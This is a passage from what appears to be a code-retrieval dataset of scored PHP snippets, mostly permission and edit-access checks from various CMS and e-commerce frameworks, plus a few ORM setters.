$access;\n\t}", "title": "" }, { "docid": "a9721b1e8a34b9cee816fb891da21865", "score": "0.5855603", "text": "protected function isExclusiveEdit()\n\t{\n\t\treturn (bool)$this->getVersionId() || $this->isCreationFile();\n\t}", "title": "" }, { "docid": "31f62f4b9f4a5c73f6f74918bdbe2784", "score": "0.58555156", "text": "protected function allowEdit($data = array(), $key = 'id')\n\t{\n\t\t$model = $this->getModel();\n\t\t$item = $model->getItem($data[$key]);\n\t\t$user = JFactory::getUser();\n\n\t\treturn ($item->admin_id && $item->admin_id == $user->id) || JFactory::getUser()->authorise('core.edit', 'com_tracks');\n\t}", "title": "" }, { "docid": "a9316fde0ee74dabf298aaf957e11c6e", "score": "0.5835862", "text": "public function canEdit()\n {\n\n if (Auth::user()->id === $this->user_id && $this->status_id === 1) {\n return true;\n }\n\n /**\n * If user is admin or module owner\n */\n\n if (Auth::user()->administers(static::$moduleId)) {\n return true;\n }\n\n /**\n * If module custodian is unit head and user belongs to the same unit (custodian)\n */\n\n if (Auth::user()->isApprover(static::$moduleId, $this->user_id)) {\n return true;\n }\n\n /**\n * Else return false\n */\n\n return false;\n }", "title": "" }, { "docid": "c77defa1a13ba5371cb1f0d7882fd10b", "score": "0.5835479", "text": "public function validateEdit() \n {\n //pobierz parametry na potrzeby wyswietlenia danych do edycji\n //z widoku listy osób (parametr jest wymagany)\n $this->form->id = ParamUtils::getFromCleanURL(1, true, 'Błędne wywołanie aplikacji');\n return !App::getMessages()->isError();\n }", "title": "" }, { "docid": "4bf39fb8d73da7820a8dcac9bbaca813", "score": "0.58252364", "text": "protected function canEditState($record)\n\t{\n\t\t$user = JFactory::getUser();\n\t\t$app = JFactory::getApplication();\n\n\t\tif ($app->isAdmin() || $app->input->get('api_request'))\n\t\t{\n\t\t\treturn $user->authorise('core.edit.state', 'com_solidres');\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn SRUtilities::isAssetPartner($user->get('id'), $record->reservation_asset_id);\n\t\t}\n\t}", "title": "" }, { "docid": "34b0e1aa275e75a1087a43c6e7f08303", "score": "0.5814546", "text": "private function checkEditPermissions() {\n if ($this->_uperm < NC_PERM_EDIT) {\n throw new Exception(\"Insufficient permissions to edit graph\");\n }\n }", "title": "" }, { "docid": "eeb14a648a959eba1d95bf8104e52d39", "score": "0.5782232", "text": "public function checkAccess()\n {\n return parent::checkAccess()\n && \\XLite\\Core\\Config::getInstance()->ProaxIT->RequestPriceQuote->enable_form;\n }", "title": "" }, { "docid": "30c9b2d873a5a026db47c648fd4cc6f7", "score": "0.57714146", "text": "function allowEdit()\n\t{\n\t\t$this->_allowEdit = true;\n\t}", "title": "" }, { "docid": "6a0d6922474cb1ffd7b54cd2a98a62a1", "score": "0.5757139", "text": "public function is_allowed_to_edit_content_object()\n {\n return $this->is_allowed(WeblcmsRights::EDIT_RIGHT, $this->publication) &&\n $this->publication->get_allow_collaboration();\n }", "title": "" }, { "docid": "718294df88fe39f5c53ded9b9a1c76f4", "score": "0.57533115", "text": "function user_can_edit() {\n return true;\n }", "title": "" }, { "docid": "7fbe23f11abdbf4df10cb9b5a8b7a009", "score": "0.5745346", "text": "function isEditMode()\n {\n return $this->mode == 'edit';\n }", "title": "" }, { "docid": "f996e6297ca557dc0b082bda618fb71f", "score": "0.57422084", "text": "public function canBeEdited()\n {\n if (!$this->comite) {\n return false;\n }\n\n if (!$this->comite->getStatus()) {\n return false;\n }\n\n //o documento não pode ser editado se o seu comitê\n //tiver concluído/em homologação/pendente\n if ($this->comite->getStatus() == 'Em Homologação') {\n return false;\n }\n\n if ($this->comite->getStatus() == 'Concluído') {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "cb2891b7393851e7c6ecc6a7866defe5", "score": "0.57396907", "text": "public function getAllowEdit()\n\t{\n\t\t$role = Mage::registry('role');\n\t\tif ($role=='view') return false;\n\t\treturn true;\n\t}", "title": "" }, { "docid": "e25d7b97c5f70428f2f08ba5a3ee2c67", "score": "0.5730111", "text": "public function canEdit(Member $member = null);", "title": "" }, { "docid": "648e0abfec7ec600117fa7b2a83efa85", "score": "0.5729765", "text": "public function valid() {\n\t\tif( ! defined( 'WPV_VERSION' ) )\n\t\t\treturn false;\n\n\t\t$type = self::get_type_name();\n\n\t\tif( isset( self::$template_id[$type] )\n\t\t && self::$template_id[$type] !== null\n\t\t && self::$template_id[$type] !== false )\n\t\t\treturn true;\n\n\t\t$wpv_options = get_option( 'wpv_options', array() );\n\n\t\tif( empty( $wpv_options )\n\t\t || ! isset( $wpv_options['views_template_for_'.$type] )\n\t\t || ! get_post_type( $wpv_options['views_template_for_'.$type] )\n\t\t) {\n\t\t\tself::$template_id[$type] = false;\n\t\t\tself::$template_name[$type] = false;\n\t\t\treturn false;\n\t\t}\n\n\t\t$title = get_the_title( $wpv_options['views_template_for_'.$type] );\n\t\tself::$template_id[$type] = $wpv_options['views_template_for_'.$type];\n\t\tself::$template_name[$type] = $title;\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "9f09f8d02ab868aad63a8f6679a91584", "score": "0.57274187", "text": "public function canModify()\n {\n return $this->msiType->getId() === self::DEFAULT_CASE_TYPE;\n }", "title": "" }, { "docid": "7d7ef7f52489949ffd86427fa60430e5", "score": "0.5702508", "text": "protected function allowEdit($data = array(), $key = 'id')\n\t{\n\t\t// Check specific edit permission then general edit permission.\n\t\treturn JFactory::getUser()->authorise('core.edit', 'com_siscomex.siscomexorigemdi.'.((int) isset($data[$key]) ? $data[$key] : 0)) or parent::allowEdit($data, $key);\n\t}", "title": "" }, { "docid": "e2cd17c8b4d14cd019ab53d7d69027b9", "score": "0.5688936", "text": "protected function allowEdit($data = array(), $key = 'id')\r\n\t{\r\n\t\t$user = JFactory::getUser();\r\n\t\t$recordId = (int) isset($data[$key]) ? $data[$key] : 0;\r\n\t\t$categoryId = 0;\r\n\r\n\t\tif ($recordId)\r\n\t\t{\r\n\t\t\t$categoryId = (int) $this->getModel()->getItem($recordId)->catid;\r\n\t\t}\r\n\r\n\t\tif ($categoryId)\r\n\t\t{\r\n\t\t\t// The category has been set. Check the category permissions.\r\n\t\t\treturn $user->authorise('core.edit', $this->option . '.category.' . $categoryId);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t// Since there is no asset tracking, revert to the component permissions.\r\n\t\t\treturn parent::allowEdit($data, $key);\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "db77b21125cb218e6bfb8d8b07787a33", "score": "0.5673924", "text": "protected function allowEdit()\n\t{\n\t\treturn JFactory::getUser()->authorise('core.edit', 'com_templates');\n\t}", "title": "" }, { "docid": "f6de08e941e81767003e216d5167d779", "score": "0.5672077", "text": "public function isEditMode()\n {\n return $this->mode == 'edit';\n }", "title": "" }, { "docid": "358b6f6d9af76b9c01b6086d4ba95794", "score": "0.5671156", "text": "public function check_access()\n\t{\n\t\t// tilhører et ff?\n\t\tif ($this->ff && !$this->ff->access(true))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t// kontroller tilgang satt i params\n\t\treturn self::check_access_params($this->params);\n\t}", "title": "" }, { "docid": "1e4f0eb90f693b76ad277db8bf01e25b", "score": "0.5666", "text": "public function getVatIsValid();", "title": "" }, { "docid": "2e97b06811f1922f843b5bed49e4462d", "score": "0.5643447", "text": "public static function canEditCalendar() {\n return SecurityUtil::checkPermission('TimeIt::', \"::\", ACCESS_ADMIN);\n }", "title": "" }, { "docid": "b30bf00d19ce1fcca59a6d82d749b822", "score": "0.5637006", "text": "public function isEditing()\n {\n return $this->getPostvar('atkgridedit', false);\n }", "title": "" }, { "docid": "893c3d520d91795a34eda258dfaa97de", "score": "0.5632074", "text": "public function validateVacation(): bool\n {\n }", "title": "" }, { "docid": "29a0efd01f4d3edf89b7efb3a8015d9f", "score": "0.56302494", "text": "public function is_editable(){\n return (!(\n h::request()->post(static::EDIT_HAS_EDITABLE,static::EDIT_EDITABLE_ATTRIBUTE\n )\n ===static::EDIT_EDITABLE_ATTRIBUTE)); \n }", "title": "" }, { "docid": "75b8456b8a54acf287a89fb00d80f7e2", "score": "0.5621424", "text": "protected function _isAllowed()\n {\n return parent::_isAllowed() && $this->_authorization->isAllowed('Vnecoms_Vendors::vendors_attributes');\n }", "title": "" }, { "docid": "3a9655fa39b4928eb62ec6633adcf3ed", "score": "0.56146455", "text": "public function isValid() {\n if ($this->isUsed() || $this->isOld()) {\n return false;\n } else {\n return true;\n }\n }", "title": "" }, { "docid": "149582456671c8fb6381f4790a9a3247", "score": "0.5614433", "text": "function ecardsEditEnable(){\n\t$chat = cargarPermisosFor(\"ecards\");\n\tif(isset($chat->edit) && $chat->edit == true){\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "bf59528c2d914256464c8c27e5a50b8c", "score": "0.55955106", "text": "public function getIsXEditableRequest()\n {\n return isset($_POST['name'], $_POST['value'], $_POST['pk']);\n }", "title": "" }, { "docid": "b168394d4f8dd3328fa1bfb73761c68f", "score": "0.55945617", "text": "private function check_preview_eligibility() {\n // Check if it's a singular page.\n if ( ! is_singular() ) {\n return false;\n }\n\n // Check current post data.\n $post = get_post();\n if ( $post === null ) {\n return false;\n }\n\n // Check if content is purchasable.\n if ( ! LaterPay_Helper_Post::is_content_purchasable( $post->ID ) ) {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "6bf3843a86786705a8e7d0b9edea1ce4", "score": "0.5592456", "text": "public function IsOrganizerVcardAllowed() {\r\n global $TSFE;\r\n\r\n // VCards need to be activated and properly configured\r\n if ($this->settings->vcardOrganizerEnabled != 1)\r\n return false;\r\n if ($this->settings->vcardOrganizerPageTypeNum == 0)\r\n return false;\r\n\r\n // Authorized FE-User is required\r\n if (intval($TSFE->fe_user->user['uid']) == 0)\r\n return false;\r\n\r\n // Vcard-Display is only possible if the user has registered for the event\r\n if ($this->status < 5)\r\n return false;\r\n\r\n return true;\r\n }", "title": "" }, { "docid": "7ddcec6193bf204380c507204ce4b31a", "score": "0.5584876", "text": "protected function allowEdit($data = array(), $key = 'id')\n\t{\n\t\t// Initialise variables.\n\t\t$recordId\t= (int) isset($data[$key]) ? $data[$key] : 0;\n\t\t$user\t\t= JFactory::getUser();\n\t\t$userId\t\t= $user->get('id');\n\t\t$asset\t\t= 'com_document.document.'.$recordId;\n\n\t\t// Check general edit permission first.\n\t\tif ($user->authorise('core.edit', $asset)) {\n\t\t\treturn true;\n\t\t}\n\n\t\t// Fallback on edit.own.\n\t\t// First test if the permission is available.\n\t\tif ($user->authorise('core.edit.own', $asset)) {\n\t\t\t// Now test the owner is the user.\n\t\t\t$ownerId\t= (int) isset($data['created_by']) ? $data['created_by'] : 0;\n\t\t\tif (empty($ownerId) && $recordId) {\n\t\t\t\t// Need to do a lookup from the model.\n\t\t\t\t$record\t\t= $this->getModel()->getItem($recordId);\n\n\t\t\t\tif (empty($record)) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\t$ownerId = $record->created_by;\n\t\t\t}\n\n\t\t\t// If the owner matches 'me' then do the test.\n\t\t\tif ($ownerId == $userId) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\t// Since there is no asset tracking, revert to the component permissions.\n\t\treturn parent::allowEdit($data, $key);\n\t}", "title": "" }, { "docid": "d17c7c3d26e46b403b31842aed042f38", "score": "0.5583157", "text": "function canEditMembersAllowed()\n{\n\treturn $this->esoTalk->user and $this->esoTalk->user[\"memberId\"] == $this->conversation[\"startMember\"];\n}", "title": "" }, { "docid": "5018e85e517fb3407e24c1ef736c6dc6", "score": "0.5580341", "text": "public function canEdit($member) {\n\t\tif (!$member) {\n\t\t\t$member = Member::currentUser();\n\t\t}\n\t\t$stage = Versioned::current_stage();\n\n\t\t$changeset = $this->getCurrentChangeset();\n\t\tif (!$changeset) {\n\t\t\treturn 1; // needs to be a 1 for the way ss's extensions work\n\t\t}\n\n\t\tif ($changeset->LockType == 'Shared') {\n\t\t\treturn 1;\n\t\t}\n\n\t\t// check the owner of the changeset\n\t\tif ($changeset->OwnerID != $member->ID) {\n\t\t\treturn 0;\n\t\t}\n\t}", "title": "" }, { "docid": "502fd2817c5a65822dda48cbd41145b1", "score": "0.55788726", "text": "private function validate() {\n\t\tif (!$this->user->hasPermission('modify', 'module/beauty')) {\n\t\t\t$this->error['warning'] = $this->language->get('error_permission');\n\t\t}\n\t\t\n\t\tif (!$this->error) {\n\t\t\treturn TRUE;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\t\n\t}", "title": "" }, { "docid": "cac3ec0d23719b667105ca727ff4b903", "score": "0.5576535", "text": "protected function allowEdit($data = array(), $key = 'id')\n\t{\n\t\t// Check specific edit permission then general edit permission.\n\t\treturn Factory::getUser()->authorise('core.edit', 'com_sportsmanagement.message.'.((int) isset($data[$key]) ? $data[$key] : 0)) or parent::allowEdit($data, $key);\n\t}", "title": "" }, { "docid": "c733e72b874330f7b3563efc3f6abe02", "score": "0.5573378", "text": "function validKVP($key, IBabylonModel $value) : bool;", "title": "" }, { "docid": "cfb4eb645b5ebb00ccb02a2b66462786", "score": "0.55709475", "text": "public function hasEditMarketing()\n {\n return $this->edit_marketing !== null;\n }", "title": "" }, { "docid": "b07824de28f8f4b6b68d5f9be33eb661", "score": "0.55701476", "text": "protected function userHasPermissionToEditPage() {\n return $this->cx->getUser()->objUser->getAdminStatus() ||\n (\n \\Permission::checkAccess(6, 'static', true) &&\n \\Permission::checkAccess(35, 'static', true) &&\n (\n !$this->cx->getPage()->isBackendProtected() ||\n \\Permission::checkAccess($this->cx->getPage()->getId(), 'page_backend', true)\n )\n );\n }", "title": "" }, { "docid": "462a9da1de78be1c20c33d229afafb35", "score": "0.5569107", "text": "final public function canModify(): bool\n {\n return !$this->denyModifications;\n }", "title": "" }, { "docid": "19ea6db85dd9f379e4b6f2912c13c646", "score": "0.55610466", "text": "protected function allowEdit($data = array(), $key = 'purchase_id')\n\t{\n\t\t// Check specific edit permission then general edit permission.\n\t\treturn JFactory::getUser()->authorise('core.edit', 'com_continued.purchase.'.((int) isset($data[$key]) ? $data[$key] : 0)) or parent::allowEdit($data, $key);\n\t}", "title": "" }, { "docid": "a76be07b26129964b4a324301b8251dc", "score": "0.55551225", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Pronko_TaskManagement::TaskManagement_update');\n }", "title": "" }, { "docid": "f4c16e42a7c3770ca65ae06b9198d985", "score": "0.5533754", "text": "function canEditTags()\n{\n\treturn $this->esoTalk->user and ((!$this->conversation[\"locked\"] and $this->conversation[\"startMember\"] == $this->esoTalk->user[\"memberId\"]) or $this->esoTalk->user[\"moderator\"]);\n}", "title": "" }, { "docid": "344d198068beec89bc9afaa417fd09ce", "score": "0.55328983", "text": "protected function allowEdit($data = array(), $key = 'id')\n\t{\n\t\t// Check specific edit permission then general edit permission.\n\t\treturn JFactory::getUser()->authorise('core.edit', 'com_sportsmanagement.message.'.((int) isset($data[$key]) ? $data[$key] : 0)) or parent::allowEdit($data, $key);\n\t}", "title": "" }, { "docid": "a813fa1b3c106fa7925021388bf54edf", "score": "0.55273294", "text": "public function canView(){\n\t\treturn $this->viewCondition === null || $this->viewCondition->isOk();\n\t}", "title": "" }, { "docid": "0adde2e4466f492d8c7dcefe2543c29e", "score": "0.55180085", "text": "public function check($vatID);", "title": "" }, { "docid": "07b5b7f58228dcd7b95de7c8e5701376", "score": "0.55135083", "text": "public function edit($post_id) {\r\n parent::permission_checker();\r\n }", "title": "" }, { "docid": "333d51e491bdf7b26084108cabdc4796", "score": "0.5509927", "text": "public function check_voucher_requirement()\r\n\t{\r\n\t\tif($this->so->get_amount() > 10)\r\n\t\t{\r\n\t\t\treturn TRUE;\r\n\t\t}\r\n\t\treturn FALSE;\r\n\t}", "title": "" }, { "docid": "ad440c7fdb3682ab1b2f2dca3e422b96", "score": "0.54989904", "text": "function entity_tools_check_edit_access($forward = true) {\n\t$result = false;\n\t\n\t$forward = (bool) $forward;\n\t\n\t$user = elgg_get_logged_in_user_entity();\n\tif (!empty($user)) {\n\t\tif ($user->isAdmin()) {\n\t\t\t// admins are always allowed\n\t\t\t$result = true;\n\t\t} else {\n\t\t\t// check plugin setting for normal user\n\t\t\t$plugin_setting = entity_tools_get_edit_access_setting();\n\t\t\t$page_owner = elgg_get_page_owner_entity();\n\t\t\t\n\t\t\tswitch ($plugin_setting) {\n\t\t\t\tcase \"user\":\n\t\t\t\t\tif (empty($page_owner) || !elgg_instanceof($page_owner, \"user\")) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif ($page_owner->getGUID() == $user->getGUID()) {\n\t\t\t\t\t\t$result = true;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"group\":\n\t\t\t\t\tif (empty($page_owner) || !elgg_instanceof($page_owner, \"group\")) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif ($page_owner->canEdit()) {\n\t\t\t\t\t\t$result = true;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tif ($forward && !$result) {\n\t\tregister_error(elgg_echo(\"entity_tools:error:check_edit_access\"));\n\t\tforward(REFERER);\n\t}\n\t\n\treturn $result;\n}", "title": "" }, { "docid": "db9559678469dfe16eb3d4c8b77bc547", "score": "0.5497947", "text": "function alertsEditEnable(){\n\t$alerts = cargarPermisosFor(\"alerts\");\n\tif(isset($alerts->edit) && $alerts->edit == true){\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "d77483a8aec54249e8c2901fbaadd750", "score": "0.5497754", "text": "public function isEdited()\n {\n return $this->states[TABS2_APICLIENT_STATE_EDITED] === true;\n }", "title": "" }, { "docid": "5082792112ac168e01104902102fb894", "score": "0.549763", "text": "public function check()\r\n {\r\n // Check for valid name\r\n if(trim($this->title) == '')\r\n {\r\n $this->setError(JText::_('COM_JVOTER_MUSTCONTAIN_A_TITLE_PLAN'));\r\n \r\n return false;\r\n } \r\n \r\n $date = JFactory::getDate();\r\n $user = JFactory::getUser();\r\n \r\n if($this->id)\r\n {\r\n // Existing item\r\n $this->modified = $date->toSql();\r\n $this->modified_by = $user->get('id');\r\n } else\r\n {\r\n if(! (int) $this->created)\r\n {\r\n $this->created = $date->toSql();\r\n }\r\n \r\n if(empty($this->created_by))\r\n {\r\n $this->created_by = $user->get('id');\r\n }\r\n }\r\n \r\n return true;\r\n }", "title": "" }, { "docid": "85f3a21de248c63985a21cdbf7a238d9", "score": "0.54967314", "text": "protected function canEditState($record)\n\t{\n\t\t$user = JFactory::getUser();\n\n\t\t// Check for existing item.\n\t\tif (!empty($record->id))\n\t\t{\n\t\t\treturn $user->authorise('core.edit.state', 'com_catalogue.item.' . (int) $record->id);\n\t\t}\n\t\t// New item, so check against the category.\n\t\telseif (!empty($record->catid))\n\t\t{\n\t\t\treturn $user->authorise('core.edit.state', 'com_catalogue.category.' . (int) $record->catid);\n\t\t}\n\t\t// Default to component settings if neither item nor category known.\n\t\telse\n\t\t{\n\t\t\treturn parent::canEditState('com_catalogue');\n\t\t}\n\t}", "title": "" }, { "docid": "fb079d863f9e0e5e2ebd54089ec17cf5", "score": "0.5493625", "text": "function getCanEdit() {\n\t\treturn $this->canEdit;\n\t}", "title": "" }, { "docid": "0c13d8869fd15ab834946595aec8600f", "score": "0.5490022", "text": "public function is_valid() {\n return ( 'valid' == Ninja_Forms()->get_setting( $this->product_name.'_license_status' ) );\n }", "title": "" }, { "docid": "ae9c376a75a827dace7bbc12123fe80d", "score": "0.54768604", "text": "protected function canEditState($record)\n\t{\n\t\t$user = JFactory::getUser();\n\n\t\t// Check for existing article.\n\t\tif (!empty($record->id))\n\t\t{\n\t\t\treturn $user->authorise('core.edit.state', 'com_cooltouraman.template.' . (int) $record->id);\n\t\t}\n\t\t// New article, so check against the category.\n\t\telseif (!empty($record->catid))\n\t\t{\n\t\t\treturn $user->authorise('core.edit.state', 'com_cooltouraman.category.' . (int) $record->catid);\n\t\t}\n\t\t// Default to component settings if neither article nor category known.\n\t\telse\n\t\t{\n\t\t\treturn parent::canEditState('com_cooltouraman');\n\t\t}\n\t}", "title": "" }, { "docid": "c23c3a8ac3642ca90389e528ff4d872d", "score": "0.5476744", "text": "public static function is_edit() {\n\t\treturn (bool) filter_input( INPUT_GET, \"id\", FILTER_VALIDATE_INT );\n\t}", "title": "" }, { "docid": "da63ef78dbc7f5ff997170feb41be15e", "score": "0.54748505", "text": "protected function is_inline_edit() {\n\t\treturn isset( $_POST['_inline_edit'] ); // Input var okey.\n\t}", "title": "" }, { "docid": "890e555eebc0c482e3b9848e25d96fd4", "score": "0.5467688", "text": "public function isValid($dto)\n {\n return $this->isGranted(Permission::INTERNAL_EDIT) || $this->isSystemUser();\n }", "title": "" }, { "docid": "d67f5f6ff4efbf939c1a0b3e8fd9d2a8", "score": "0.54674053", "text": "public function valid()\n\t{\n\t\treturn $this->_key!==false;\n\t}", "title": "" }, { "docid": "7d35635f36f88babd9ea6b4a3d65084c", "score": "0.5462383", "text": "public function authorize()\n {\n if(!$this->has('hasBeenEdited') && !$this->hasFile('image')){\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "07e1e70d1559e29befc18b6f1d43e611", "score": "0.54586875", "text": "public function can_edit2() {\n $login_info = Session::get('total_info');\n\t\tif($login_info['authority'] == \"admin\") return true;\n\t\telse if($this->id == $login_info['user_id']) return true;\n\t\telse return false;\n\t}", "title": "" }, { "docid": "f9eb501fb0ae2329785628253115a15a", "score": "0.5455371", "text": "public function _isAllowed()\n {\n return $this->_authorization->isAllowed('Techeniac_VideoSlider::save');\n }", "title": "" }, { "docid": "b3f990d3d6630c77b0c0cc190e9559b9", "score": "0.5452804", "text": "public function canEdit()\n {\n if (!$this->isModuleAccessibleOnPortal()) {\n return false;\n }\n\n if ($this->isBroadAccess()) {\n return true;\n }\n\n if ($this->isPortalAdmin()) {\n return true;\n }\n\n if (is_object($GLOBALS['APPLICATION']) && $GLOBALS['APPLICATION']->getGroupRight('sender') === \"W\") {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "47b746f04e3f2d3a7bd9138964d8cb4f", "score": "0.5452548", "text": "protected function checkAddOrEdit()\r\n {\r\n $idTab = $this->getRequest()->getParam(\"id\");\r\n if (isset($idTab)) {\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "title": "" }, { "docid": "b889fbdfc2e125c2aca7cb5fb02d0463", "score": "0.5445484", "text": "protected function checkEditAccess($table, $uid)\n {\n $record = BackendUtility::getRecord($table, $uid);\n BackendUtility::fixVersioningPid($table, $record);\n if (is_array($record)) {\n // If pages:\n if ($table === 'pages') {\n $calculatedPermissions = $this->getBackendUserAuthentication()->calcPerms($record);\n $hasAccess = $calculatedPermissions & Permission::PAGE_EDIT;\n } else {\n // Fetching pid-record first.\n $calculatedPermissions = $this->getBackendUserAuthentication()->calcPerms(\n BackendUtility::getRecord('pages', $record['pid'])\n );\n $hasAccess = $calculatedPermissions & Permission::CONTENT_EDIT;\n }\n // Check internals regarding access:\n if ($hasAccess) {\n $hasAccess = $this->getBackendUserAuthentication()->recordEditAccessInternals($table, $record);\n }\n } else {\n $hasAccess = false;\n }\n return (bool)$hasAccess;\n }", "title": "" }, { "docid": "d88b1ca5b10b7e331f75d9613ad357ed", "score": "0.5442779", "text": "public function isUpdateStructValid()\r\n {\r\n return ($this->checkUpdateRequiredFields() && $this->checkUpdateAlienFields());\r\n }", "title": "" }, { "docid": "99c164e7487dd0b396bd3557b387c0d6", "score": "0.5433512", "text": "private function checkUpdatePermissions($targetid) {\n if ($this->_uperm >= NC_PERM_CURATE) {\n return true;\n }\n if ($this->_uperm == NC_PERM_EDIT) {\n $targetowner = $this->getObjectOwner($this->_netid, $targetid);\n if ($targetowner == $this->_uid) {\n return true;\n }\n }\n throw new Exception(\"Insufficient permission to update graph object\");\n }", "title": "" }, { "docid": "8c6684115107470dfb51332db1d1bfe2", "score": "0.54283446", "text": "private function isEditMode()\n {\n if (isset($this->input['id']) && !empty($this->input['id'])) {\n $this->appointmentData['id'] = $this->input['id'];\n $this->appointmentData['previous_user_id'] = $this->input['previous_user_id'];\n $this->appointmentData['previous_attendees'] = $this->input['previous_attendees'];\n $this->edit = true;\n unset($this->appointmentData['created_by']);\n }\n }", "title": "" }, { "docid": "ad6adf5c0fe1a4a399e05e0afc587a5a", "score": "0.5424313", "text": "public function valid()\n {\n $allowedValues = $this->getArtAllowableValues();\n if (!in_array($this->container['art'], $allowedValues)) {\n return false;\n }\n $allowedValues = $this->getAuspraegungAllowableValues();\n if (!in_array($this->container['auspraegung'], $allowedValues)) {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "d113fb435928337d9ba99003b549fc6c", "score": "0.54118246", "text": "public static function isUserHasSomeViewAccess()\n {\n try {\n self::checkUserHasSomeViewAccess();\n return true;\n } catch (Exception $e) {\n return false;\n }\n }", "title": "" }, { "docid": "498815a5f9e7c102ae0ef991f2ce6ee5", "score": "0.54113674", "text": "protected function canSave($data = array(), $key = 'id')\n\t{\n\t\treturn JFactory::getUser()->authorise('core.edit', $this->option);\n\t}", "title": "" } ]
72d0bbfe8aaf21adbc8d9f2511ea46d4
setOehdhold() Set the value of [arcucustid] column.
[ { "docid": "89fe44001516be45c46be0516bf89fce", "score": "0.4404716", "text": "public function setArcucustid($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->arcucustid !== $v) {\n $this->arcucustid = $v;\n $this->modifiedColumns[SoHeaderTableMap::COL_ARCUCUSTID] = true;\n }\n\n return $this;\n }", "title": "" } ]
[ { "docid": "9da72a61491a94f28f6028444f375e1a", "score": "0.6067128", "text": "public function setOehdhold($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->oehdhold !== $v) {\n $this->oehdhold = $v;\n $this->modifiedColumns[SoHeaderTableMap::COL_OEHDHOLD] = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "88dae5bbb46a02f8b846ba18e114da7f", "score": "0.53506774", "text": "public function setArcucredhold($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->arcucredhold !== $v) {\n $this->arcucredhold = $v;\n $this->modifiedColumns[ArCustMastTableMap::COL_ARCUCREDHOLD] = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "dc72218f619faf13613630c9345a9886", "score": "0.5182082", "text": "function setidalumno($val) {$this->idalumno=$val;}", "title": "" }, { "docid": "8618f615125cc58b32dd4e54310fd6da", "score": "0.50702614", "text": "public function setHcid($hcid)\n {\n $this->hcid = $hcid;\n }", "title": "" }, { "docid": "924bdf9e3464037ed27999867f43b900", "score": "0.49063635", "text": "public function setOehdcashamt($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->oehdcashamt !== $v) {\n $this->oehdcashamt = $v;\n $this->modifiedColumns[SoHeaderTableMap::COL_OEHDCASHAMT] = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "16a9b1725414a6e82fe90be6801397df", "score": "0.48902842", "text": "public function getOehdhold()\n {\n return $this->oehdhold;\n }", "title": "" }, { "docid": "e3435c9f7aa093a5e857b255256e43fc", "score": "0.48596355", "text": "function setIdturno($val) {$this->idturno=$val;}", "title": "" }, { "docid": "d86a572924054fe6f8f91a1ef5653986", "score": "0.48333445", "text": "public function putJoinhos($id) {\n\n\t\t\t$holdingssets_id = Input::get('holdingsset_id');\n\t\t\t$unique = $holdingssets_id[0];\n\t\t\t$oldhos = $holdingssets_id;\n\t\t\tunset($oldhos[0]);\n\n\t\t\tHolding::whereIn('holdingsset_id', $holdingssets_id)->update(['holdingsset_id' => $unique]);\n\t\t\t$totalholdings = Holdingsset::whereIn('id', $holdingssets_id)->select('holdings_number')->sum('holdings_number');\n\t\t\tHoldingsset::find($unique)->update(['holdings_number' => $totalholdings]);\n\t\t\tHoldingsset::whereIn('id', $oldhos)->delete();\n\t\t\tholdingsset_recall($unique);\n\t\t\t$holdingssets = Holdingsset::where('id', $unique)->paginate(1);\n\t\t\t$newset = View::make('holdingssets/hos', ['holdingssets' => $holdingssets]);\n\t\t\treturn $newset;\n\t\t}", "title": "" }, { "docid": "cf0746b00db956d3b9ee78432f689fe1", "score": "0.48312917", "text": "protected function _setAssoId($asso_id)\r\n {\r\n $this->session->set('asso_am.asso_id', $asso_id);\r\n }", "title": "" }, { "docid": "90cd3cd88b2d170ab31d8b4bd9190984", "score": "0.48229876", "text": "function addOderCouse($ma_dk, $ngay_dk,$gia_tien,$ma_lop,$ma_nguoi_dung,$tinh_trang) {\n $query = \"INSERT INTO dang_ki(ma_dk, ngay_dk,gia_tien,ma_lop,ma_nguoi_dung,tinh_trang) VALUES(?,?,?,?,?,?)\";\n $this->setQuery($query);\n $this->execute(array($ma_dk, $ngay_dk,$gia_tien,$ma_lop,$ma_nguoi_dung,$tinh_trang));\n return $this->getLastId();\n }", "title": "" }, { "docid": "e35bdf2a094691d667ea6cea3b9a5ef1", "score": "0.48185697", "text": "public function putForceOwner($id) {\n\t\t\t$holdingsset_id = Input::get('holdingsset_id');\n\t\t\t$holdingsset = Holdingsset::find($holdingsset_id);\n\t\t\t$holdingsset -> holdings()->update(['is_owner' => 'f', 'force_owner' => 'f', 'force_blue' => 'f', 'force_aux' => 'f']);\n\n\t\t\tHolding::find($id)->update(['is_owner'=>'t', 'force_owner' => 't']);\n\n\t\t\tholdingsset_recall($holdingsset_id);\n\n\t\t\t$holdingssets[] = $holdingsset;\n\t\t\t$newset = View::make('holdingssets/hos', ['holdingssets' => 